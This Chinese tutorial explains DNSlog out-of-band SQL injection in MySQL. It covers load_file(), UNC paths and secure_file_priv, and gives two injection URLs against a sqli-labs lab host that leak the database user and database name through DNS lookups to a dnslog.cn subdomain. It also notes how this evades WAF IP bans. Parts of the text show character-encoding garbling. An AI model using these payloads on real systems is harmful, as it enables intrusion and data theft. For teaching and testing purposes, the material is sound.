DNS log注入原理解析
核心:
將盲注轉換為顯錯注入
原理:
通常我們面對SQL注入過程中沒有回顯的情況下,只能通過盲注的方式來判斷是否存在SQL注入,但是,使用盲注,手工測試是需要花費大量的時間的,可能會想到使用sqlmap直接去跑出數(shù)據(jù),但在實際測試中,使用sqlmap跑盲注,有很大的幾率,網站把ip給封掉,這就影響了我們的測試進度,也許你也可以使用代理池
我們輸入域名之后 我們的本地域名服務器會把在自身服務器里面查詢是否存在ip地址 如果沒有則發(fā)送到根域名服務器 如果根域名服務器里面有對應的記錄則返回 如果沒有則告訴本地域名服務器去向頂級域名服務器查找。

dns在解析的時候會留下記錄。
當dns服務器是我們自己的時,我們就可以通過查看日志來查詢一些信息
什么是UNC?
UNC路徑就是類似\softer這樣的形式的網絡路徑。它符合 \servername\sharename 格式,其中 servername 是服務器名,sharename 是共享資源的名稱。

注入所需條件?
首先說明,dns帶外查詢屬于MySQL注入,在MySQL中有個系統(tǒng)屬性
secure_file_priv特性,有三種狀態(tài):
secure_file_priv為null 表示不允許導入導出 secure_file_priv指定文件夾時,表示mysql的導入導出只能發(fā)生在指定的文件夾 secure_file_priv沒有設置時,則表示沒有任何限制 可了解一下load_file和outfile
LOAD_FILE()函數(shù):LOAD_FILE()函數(shù)讀取一個文件并將其內容作為字符串返回
語法為:load_file(file_name),其中file_name是文件的完整路徑
不管是布爾類型盲注還是時間盲注,都需要發(fā)送大量的數(shù)據(jù)包去判斷數(shù)據(jù),而這很可能會觸發(fā)WAF的防護,因此導致被封IP。所以,如果條件允許,我們可以結合DNSlog來快速的回顯數(shù)據(jù)。MySQL數(shù)據(jù)庫,通過DNSlog盲注需要用到 load_file() 函數(shù),該函數(shù)不僅能加載本地文件,同時也能對URL發(fā)起請求。因為需要使用 load_file() 函數(shù),所以需要root權限,并且 secure_file_priv 需要為空。并且服務器要為Windows操作系統(tǒng)。
注入語句:
# 查詢當前用戶名
http://192.168.157.129/sql-labs/Less-1/?id=1' and (select load_file(concat('\\\\',(select hex(user())),'.682y4b.dnslog.cn/abc'))) --+
# 查看當前數(shù)據(jù)庫名
http://192.168.157.129/sql-labs/Less-1/?id=1' and (select load_file(concat('\\\\',(select database()),'.682y4b.dnslog.cn/abc'))) --+到此這篇關于DNS log注入原理的文章就介紹到這了,更多相關DNS log注入原理內容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!
相關文章
Windows Server 2019 DNS服務器的配置與管理之DNS轉發(fā)器
這篇文章主要介紹了Windows Server 2019 DNS服務器的配置與管理之DNS轉發(fā)器,需要的朋友可以參考下2023-05-05
DNS_PROBE_FINISHED_NXDOMAIN錯誤如何修復
DNS_PROBE_FINISHED_NXDOMAIN是您嘗試訪問網站時隨時可能在瀏覽器上顯示的錯誤,本文主要介紹了3種解決方法,具有一定的參考價值,感興趣的可以了解一下2023-05-05
使用Unbound配置DNS緩存服務器的實現(xiàn)步驟
本文主要介紹了使用Unbound配置DNS緩存服務器的實現(xiàn)步驟,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧2023-08-08

